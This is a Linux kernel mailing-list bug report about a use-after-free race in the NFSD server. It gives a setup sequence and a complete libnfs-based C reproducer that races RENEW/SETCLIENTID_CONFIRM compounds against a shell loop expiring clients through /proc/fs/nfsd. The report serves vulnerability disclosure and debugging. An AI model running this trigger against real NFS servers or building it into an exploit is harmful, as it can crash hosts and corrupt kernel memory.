Re: [BUG] An UAF in NFSD

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Here is the reproducer, but it's not very stable.

Prerequisite:
- setclientid(id+verifier)
  conf{}
  unconf{c1[clname+clientid]}
  return clientid+confirm
- setclientid_confirm(clientid,confirm)
  conf{c1[clname+clientid]}
  unconf{} && nfsd4_probe_callback(c1)
  cb_null_proc() quickly respond nfsd4_probe_callback(c1)
- setclientid(id+verifier)
  conf{c1[clname+clientid]}
  unconf{c2[clname+clientid]}
  return clientid2+confirm2 (clientid2 is same as clientid)
- setclientid(id2+verifier)
  conf{c1[clname+clientid]}
  unconf{c2[clname+clientid], c3[clname2+clientid3]}
  return clientid3+confirm3
- setclientid_confirm(clientid3, confirm3)
  conf{c1[clname+clientid], c3[clname2+clientid3]}
  unconf{c2[clname+clientid]}
  cb_null_proc() sleep(10) in nfsd4_probe_callback(c3)
- setclientid(id2+verifier2)
  conf{c1[clname+clientid], c3[clname2+clientid3]}
  unconf{c2[clname+clientid], c4[clname2+clientid4]}
  return clientid4+confirm4

Race:
1. client_ctl_write && setclientid_confirm(clientid2,confirm2)
   Find c1 and race on it
2. compound[renew(clientid2), setclientid_confirm(clientid4,confirm4)]
   setclientid_confirm() simulates time-consuming operation
   expire_client(c3) --> Wait for nfsd41_cb_inflight_wait_complete()

Reproducer code:
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <time.h>
#include <poll.h>
#include <pthread.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include "libnfs.h"
#include "libnfs-raw.h"
#include "libnfs-raw-nfs4.h"
#include <event2/event.h>

#define NFSURL "nfs://127.0.0.1/mnt/nfshare?version=4"

struct client {
        struct rpc_context *rpc;
        struct event *listen_event;
        struct event *write_event;
        struct event *read_event;
        char *server;
        char *path;
        int op_len;
        int is_finished;
        verifier4 verifier;
        verifier4 verifier2;
        verifier4 verifier3;
        char *id;
        char *id2;
        char *owner;
        clientid4 clientid;
        clientid4 clientid2;
        clientid4 clientid3;
        clientid4 clientid4;
        verifier4 setclientid_confirm;
        verifier4 setclientid_confirm2;
        verifier4 setclientid_confirm3;
        verifier4 setclientid_confirm4;
        int callback_fd;
        int stage;
};

struct server {
        struct server *next;
        struct rpc_context *rpc;
        struct event *read_event;
        struct event *write_event;
};
struct server *server_list;

struct event_base *base;

static void update_events(struct rpc_context *rpc,
                          struct event *read_event,
                          struct event *write_event)
{
        int events = rpc_which_events(rpc);

        if (read_event) {
                if (events & POLLIN)
                        event_add(read_event, NULL);
                else
                        event_del(read_event);
        }
        if (write_event) {
                if (events & POLLOUT)
                        event_add(write_event, NULL);
                else
                        event_del(write_event);
        }
}

static void server_io(evutil_socket_t fd, short events, void *private_data)
{
        struct server *server = private_data;
        int revents = 0;

        if (events & EV_READ)
                revents |= POLLIN;
        if (events & EV_WRITE)
                revents |= POLLOUT;

        if (rpc_service(server->rpc, revents) < 0) {
                fprintf(stderr, "rpc_service() failed for server\n");
                exit(1);
        }

        update_events(server->rpc, server->read_event, server->write_event);
}

static void free_server(struct server *server)
{
        if (server->rpc) {
                rpc_disconnect(server->rpc, NULL);
                rpc_destroy_context(server->rpc);
                server->rpc = NULL;
        }
        if (server->read_event) {
                event_free(server->read_event);
                server->read_event = NULL;
        }
        if (server->write_event) {
                event_free(server->write_event);
                server->write_event = NULL;
        }

        free(server);
}

static void client_io(evutil_socket_t fd, short events,
                      void *private_data)
{
        struct client *client = private_data;
        struct server *server;
        int revents = 0;

        if (events & EV_READ)
                revents |= POLLIN;
        if (events & EV_WRITE)
                revents |= POLLOUT;

        if (rpc_service(client->rpc, revents) < 0) {
                fprintf(stderr, "rpc_service failed\n");
                exit(1);
        }
        update_events(client->rpc, client->read_event, client->write_event);

        if (client->is_finished) {
                event_free(client->listen_event);
                client->listen_event = NULL;

                event_free(client->read_event);
                client->read_event = NULL;
                event_free(client->write_event);
                client->write_event = NULL;

                for (server = server_list; server; server = server->next) {
                        if (server->read_event) {
                                event_free(server->read_event);
                                server->read_event = NULL;
                        }
                        if (server->write_event) {
                                event_free(server->write_event);
                                server->write_event = NULL;
                        }
                }
        }
}

static void send_race_renew(struct rpc_context *rpc, rpc_cb cb,
                            void *private_data)
{
        struct client *client = private_data;
        COMPOUND4args args;
        nfs_argop4 op[2];

        memset(op, 0, sizeof(op));
        op[0].argop = OP_RENEW;
        op[0].nfs_argop4_u.oprenew.clientid = client->clientid2;
        op[1].argop = OP_SETCLIENTID_CONFIRM;
        op[1].nfs_argop4_u.opsetclientid_confirm
                .clientid = client->clientid4;
        memcpy(op[1].nfs_argop4_u.opsetclientid_confirm.setclientid_confirm,
               client->setclientid_confirm4, NFS4_VERIFIER_SIZE);

        memset(&args, 0, sizeof(args));
        args.argarray.argarray_len = sizeof(op)/sizeof(nfs_argop4);
        args.argarray.argarray_val = op;

        if (rpc_nfs4_compound_task(rpc, cb, &args, private_data) == NULL) {
                fprintf(stderr, "Failed to send nfs4 RENEW request\n");
                exit(1);
        }
}

static void send_setclientid_confirm(struct rpc_context *rpc, rpc_cb cb,
                                     void *private_data)
{
        struct client *client = private_data;
        COMPOUND4args args;
        nfs_argop4 op[1];

        memset(op, 0, sizeof(op));
        op[0].argop = OP_SETCLIENTID_CONFIRM;

        if (client->stage == 1) {
                op[0].nfs_argop4_u.opsetclientid_confirm
                        .clientid = client->clientid;
                memcpy(op[0].nfs_argop4_u.opsetclientid_confirm
                        .setclientid_confirm,
                       client->setclientid_confirm, NFS4_VERIFIER_SIZE);
        } else if (client->stage == 3) {
                op[0].nfs_argop4_u.opsetclientid_confirm
                        .clientid = client->clientid3;
                memcpy(op[0].nfs_argop4_u.opsetclientid_confirm
                        .setclientid_confirm,
                       client->setclientid_confirm3, NFS4_VERIFIER_SIZE);
        } else if (client->stage == 4) {
                op[0].nfs_argop4_u.opsetclientid_confirm
                        .clientid = client->clientid2;
                memcpy(op[0].nfs_argop4_u.opsetclientid_confirm
                        .setclientid_confirm,
                       client->setclientid_confirm2, NFS4_VERIFIER_SIZE);
        }

        memset(&args, 0, sizeof(args));
        args.argarray.argarray_len = sizeof(op)/sizeof(nfs_argop4);
        args.argarray.argarray_val = op;

        if (rpc_nfs4_compound_task(rpc, cb, &args, private_data) == NULL) {
                fprintf(stderr, "Failed to send nfs4 SETCLIENTID_CONFIRM\n");
                exit(1);
        }
}

static void send_setclientid(struct rpc_context *rpc,
                             rpc_cb cb, void *private_data)
{
        struct client *client = private_data;
        COMPOUND4args args;
        nfs_argop4 op[1];
        struct sockaddr_storage ss;
        socklen_t len = sizeof(ss);
        struct sockaddr_in *in;
        struct sockaddr_in6 *in6;
        char *netid;
        char str[240], addr[256];
        unsigned short port;

        if (getsockname(client->callback_fd,
                        (struct sockaddr *)&ss, &len) < 0) {
                fprintf(stderr, "getsockname failed\n");
                exit(1);
        }

        switch (ss.ss_family) {
        case AF_INET:
                netid = "tcp";
                in = (struct sockaddr_in *)&ss;
                inet_ntop(AF_INET, &in->sin_addr, str, sizeof(str));
                port = ntohs(in->sin_port);
                break;
        case AF_INET6:
                netid = "tcp6";
                in6 = (struct sockaddr_in6 *)&ss;
                inet_ntop(AF_INET6, &in6->sin6_addr, str, sizeof(str));
                port = ntohs(in6->sin6_port);
                break;
        }
        sprintf(addr, "%s.%d.%d", str, port>>8, port&0xff);

        memset(op, 0, sizeof(op));
        op[0].argop = OP_SETCLIENTID;

        if (client->stage == 0 || client->stage == 1) {
                memcpy(op[0].nfs_argop4_u.opsetclientid.client.verifier,
                       client->verifier, sizeof(verifier4));
                op[0].nfs_argop4_u.opsetclientid.client.id
                        .id_len = strlen(client->id);
                op[0].nfs_argop4_u.opsetclientid.client.id
                        .id_val = client->id;
        } else if (client->stage == 2) {
                memcpy(op[0].nfs_argop4_u.opsetclientid.client.verifier,
                       client->verifier, sizeof(verifier4));
                op[0].nfs_argop4_u.opsetclientid.client.id
                        .id_len = strlen(client->id2);
                op[0].nfs_argop4_u.opsetclientid.client.id
                        .id_val = client->id2;
        } else if (client->stage == 3) {
                memcpy(op[0].nfs_argop4_u.opsetclientid.client.verifier,
                       client->verifier2, sizeof(verifier4));
                op[0].nfs_argop4_u.opsetclientid.client.id
                        .id_len = strlen(client->id2);
                op[0].nfs_argop4_u.opsetclientid.client.id
                        .id_val = client->id2;
        }

        op[0].nfs_argop4_u.opsetclientid.callback.cb_program = NFS4_CALLBACK;
        op[0].nfs_argop4_u.opsetclientid.callback.cb_location
                .r_netid = netid;
        op[0].nfs_argop4_u.opsetclientid.callback.cb_location.r_addr = addr;
        op[0].nfs_argop4_u.opsetclientid.callback_ident = 0x00000001;

        memset(&args, 0, sizeof(args));
        args.argarray.argarray_len = sizeof(op)/sizeof(nfs_argop4);
        args.argarray.argarray_val = op;

        if (rpc_nfs4_compound_task(rpc, cb, &args, private_data) == NULL) {
                fprintf(stderr, "Failed to send nfs4 SETCLIENTID request\n");
                exit(1);
        }
}

void renew_cb(struct rpc_context *rpc, int status,
              void *data, void *private_data)
{
        struct client *client = private_data;
        COMPOUND4res *res = data;

        if (status != RPC_STATUS_SUCCESS) {
                fprintf(stderr, "Failed to renew of server %s\n",
                        client->server);
                exit(1);
        }
        if (res->status != NFS4_OK) {
                fprintf(stderr, "Failed to renew of server %s\n",
                        client->server);
                exit(1);
        }
}

void setclientid_confirm_cb(struct rpc_context *rpc, int status,
                            void *data, void *private_data)
{
        struct client *client = private_data;
        COMPOUND4res *res = data;
        char *path;

        if (status != RPC_STATUS_SUCCESS) {
                fprintf(stderr, "Failed to confirm client id of server %s\n",
                        client->server);
                exit(1);
        }
        if (res->status != NFS4_OK) {
                fprintf(stderr, "Failed to confirm client id of server %s\n",
                        client->server);
                exit(1);
        }
}

struct pargs {
        struct rpc_context *rpc;
        struct client *client;
};

pthread_t tid1;
pthread_t tid2;

void *race_renew(void *x)
{
        struct pargs *a = (struct pargs *)x;
        send_race_renew(a->rpc, renew_cb, a->client);
}

void *race_admin(void *x)
{
        struct pargs *a = (struct pargs *)x;
        system("for ctl in /proc/fs/nfsd/clients/*/ctl; "
               "do echo \"expire\" > \"$ctl\"; done &");
        send_setclientid_confirm(a->rpc, setclientid_confirm_cb, a->client);
}

void setclientid_cb(struct rpc_context *rpc, int status,
                    void *data, void *private_data)
{
        struct client *client = private_data;
        COMPOUND4res *res = data;

        if (status != RPC_STATUS_SUCCESS) {
                fprintf(stderr, "Failed to set client id on server %s\n",
                        client->server);
                exit(1);
        }
        if (res->status != NFS4_OK) {
                fprintf(stderr, "Failed to set client id on server %s\n",
                        client->server);
                exit(1);
        }

        if (client->stage == 0) {
                client->stage = 1;
                client->clientid = res->resarray.resarray_val[0]
                        .nfs_resop4_u.opsetclientid
                        .SETCLIENTID4res_u.resok4.clientid;
                memcpy(client->setclientid_confirm,
                       res->resarray.resarray_val[0]
                       .nfs_resop4_u.opsetclientid
                       .SETCLIENTID4res_u.resok4.setclientid_confirm,
                       NFS4_VERIFIER_SIZE);
                // printf("Got clientid: %lu\n", client->clientid);
                send_setclientid_confirm(rpc, setclientid_confirm_cb, client);
                sleep(1);
                send_setclientid(rpc, setclientid_cb, client);
        } else if (client->stage == 1) {
                client->stage = 2;
                client->clientid2 = res->resarray.resarray_val[0]
                        .nfs_resop4_u.opsetclientid
                        .SETCLIENTID4res_u.resok4.clientid;
                memcpy(client->setclientid_confirm2,
                       res->resarray.resarray_val[0]
                       .nfs_resop4_u.opsetclientid
                       .SETCLIENTID4res_u.resok4.setclientid_confirm,
                       NFS4_VERIFIER_SIZE);

                send_setclientid(rpc, setclientid_cb, client);
        } else if (client->stage == 2) {
                client->stage = 3;
                client->clientid3 = res->resarray.resarray_val[0]
                        .nfs_resop4_u.opsetclientid
                        .SETCLIENTID4res_u.resok4.clientid;
                memcpy(client->setclientid_confirm3,
                       res->resarray.resarray_val[0]
                       .nfs_resop4_u.opsetclientid
                       .SETCLIENTID4res_u.resok4.setclientid_confirm,
                       NFS4_VERIFIER_SIZE);

                send_setclientid_confirm(rpc, setclientid_confirm_cb, client);
                sleep(1);
                send_setclientid(rpc, setclientid_cb, client);
        } else if (client->stage == 3) {
                client->stage = 4;
                client->clientid4 = res->resarray.resarray_val[0]
                        .nfs_resop4_u.opsetclientid
                        .SETCLIENTID4res_u.resok4.clientid;
                memcpy(client->setclientid_confirm4,
                       res->resarray.resarray_val[0]
                       .nfs_resop4_u.opsetclientid
                       .SETCLIENTID4res_u.resok4.setclientid_confirm,
                       NFS4_VERIFIER_SIZE);

                // Start to race here.
                sleep(1);
                struct pargs *a = malloc(sizeof(struct pargs));
                a->rpc = rpc;
                a->client = client;
                pthread_create(&tid1, 0, race_renew, a);
                pthread_create(&tid2, 0, race_admin, a);
        }
}

int need_sleep = 0;

static int cb_null_proc(struct rpc_context *rpc, struct rpc_msg *call,
                        void *opaque)
{
        printf("Call cb_null_proc\n");

        need_sleep++;
        if (need_sleep == 2) {
                // sleep(10);
                sleep(15);
        }

        rpc_send_reply(rpc, call, NULL, (zdrproc_t)zdr_void, 0);

        return 0;
}

static int cb_compound_proc(struct rpc_context *rpc,
                            struct rpc_msg *call,
                            void *opaque)
{
        CB_COMPOUND4args *args = call->body.cbody.args;

        fprintf(stderr, "cb_compound_cb. Do something here\n");

        return 0;
}

struct service_proc pt[] = {
        { CB_NULL, cb_null_proc, (zdrproc_t)zdr_void, 0 },
        {
                CB_COMPOUND, cb_compound_proc,
                (zdrproc_t)zdr_CB_COMPOUND4args,
                sizeof(CB_COMPOUND4args)
        },
};

static void client_accept(evutil_socket_t s, short events,
                          void *private_data)
{
        struct client *client = private_data;
        struct server *server;
        struct sockaddr_storage ss;
        socklen_t len = sizeof(ss);
        int fd;

        server = malloc(sizeof(struct server));
        if (server == NULL) {
                fprintf(stderr, "Failed to malloc server\n");
                exit(1);
        }
        memset(server, 0, sizeof(*server));
        server->next = server_list;
        server_list = server;

        if ((fd = accept(s, (struct sockaddr *)&ss, &len)) < 0) {
                free_server(server);
                fprintf(stderr, "Accept failed\n");
                exit(1);
        }
        evutil_make_socket_nonblocking(fd);

        server->rpc = rpc_init_server_context(fd);
        if (server->rpc == NULL) {
                free_server(server);
                fprintf(stderr, "Failed to create server rpc context\n");
                exit(1);
        }

        rpc_register_service(server->rpc, NFS4_CALLBACK, NFS_CB,
                             pt, sizeof(pt)/sizeof(pt[0]));

        server->read_event = event_new(base, fd, EV_READ|EV_PERSIST,
                                       server_io, server);
        server->write_event = event_new(base, fd, EV_WRITE|EV_PERSIST,
                                        server_io, server);
        update_events(server->rpc, server->read_event, server->write_event);
}

void connect_cb(struct rpc_context *rpc, int status,
                void *data, void *private_data)
{
        struct client *client = private_data;
        struct sockaddr_storage ss;
        socklen_t len = sizeof(ss);
        struct sockaddr_in *in;
        struct sockaddr_in6 *in6;

        if (status != RPC_STATUS_SUCCESS) {
                fprintf(stderr, "Connection to NFSv4 server %s failed\n",
                        client->server);
                exit(1);
        }

        if (getsockname(rpc_get_fd(rpc), (struct sockaddr *)&ss, &len) < 0) {
                fprintf(stderr, "getsockname failed\n");
                exit(1);
        }
        switch (ss.ss_family) {
        case AF_INET:
                in = (struct sockaddr_in *)&ss;
                in->sin_port = 0;
                break;
        case AF_INET6:
                in6 = (struct sockaddr_in6 *)&ss;
                in6->sin6_port = 0;
                break;
        default:
                fprintf(stderr, "Can not handle AF_FAMILY: %d", ss.ss_family);
                exit(1);
        }

        client->callback_fd = socket(AF_INET, SOCK_STREAM, 0);
        if (client->callback_fd == -1) {
                fprintf(stderr, "Failed to create callback socket\n");
                exit(1);
        }
        evutil_make_socket_nonblocking(client->callback_fd);
        if (bind(client->callback_fd,
                 (struct sockaddr *)&ss, sizeof(ss)) < 0) {
                fprintf(stderr, "Failed to bind callback socket\n");
                exit(1);
        }
        if (listen(client->callback_fd, 16) < 0) {
                fprintf(stderr, "Failed to listen to callback socket\n");
                exit(1);
        }
        client->listen_event = event_new(base, client->callback_fd,
                                         EV_READ|EV_PERSIST,
                                         client_accept, private_data);
        event_add(client->listen_event, NULL);

        send_setclientid(rpc, setclientid_cb, client);
}

// gcc reproducer.c -o reproducer -I/usr/include/nfsc -lnfs -levent
int main(int argc, char *argv[])
{
        struct nfs_context *nfs;
        struct nfs_url *url;
        struct client client;
        int i, fd;

        base = event_base_new();
        if (base == NULL) {
                fprintf(stderr, "Failed to create event context\n");
                exit(1);
        }

        nfs = nfs_init_context();
        if (nfs == NULL) {
                fprintf(stderr, "Failed to init context\n");
                exit(1);
        }
        url = nfs_parse_url_dir(nfs, NFSURL);
        if (url == NULL) {
                fprintf(stderr, "Failed to parse url\n");
                exit(1);
        }

        memset(&client, 0, sizeof(client));
        client.rpc = nfs_get_rpc_context(nfs);
        client.is_finished = 0;
        client.server = url->server;
        client.path = &url->path[1];
        client.stage = 0;
        srandom(time(NULL));
        for (i = 0; i < NFS4_VERIFIER_SIZE; i++)
                client.verifier[i] = random() & 0xff;
        for (i = 0; i < NFS4_VERIFIER_SIZE; i++)
                client.verifier2[i] = random() & 0xff;
        for (i = 0; i < NFS4_VERIFIER_SIZE; i++)
                client.verifier3[i] = random() & 0xff;
        asprintf(&client.id, "Libnfs %s tcp", NFSURL);
        asprintf(&client.id2, "Libnfs %s tcp2", NFSURL);
        asprintf(&client.owner, "open id:libnfs pid: %d", getpid());
        client.callback_fd = -1;

        if (rpc_connect_program_async(client.rpc, url->server,
                                      NFS4_PROGRAM, NFS_V4,
                                      connect_cb, &client) != 0) {
                fprintf(stderr, "Failed to start connection\n");
                exit(1);
        }

        fd = rpc_get_fd(client.rpc);
        client.read_event = event_new(base, fd, EV_READ|EV_PERSIST,
                                      client_io, &client);
        client.write_event = event_new(base, fd, EV_WRITE|EV_PERSIST,
                                       client_io, &client);
        update_events(client.rpc, client.read_event, client.write_event);

        event_base_dispatch(base);

        close(client.callback_fd);

        free(client.id);
        free(client.owner);

        while (server_list) {
                struct server *server = server_list;
                server_list = server->next;
                free_server(server);
        }

        nfs_destroy_url(url);
        nfs_destroy_context(nfs);

        event_base_free(base);

        return 0;
}




[Index of Archives]     [Linux Filesystem Development]     [Linux USB Development]     [Linux Media Development]     [Video for Linux]     [Linux NILFS]     [Linux Audio Users]     [Yosemite Info]     [Linux SCSI]

  Powered by Linux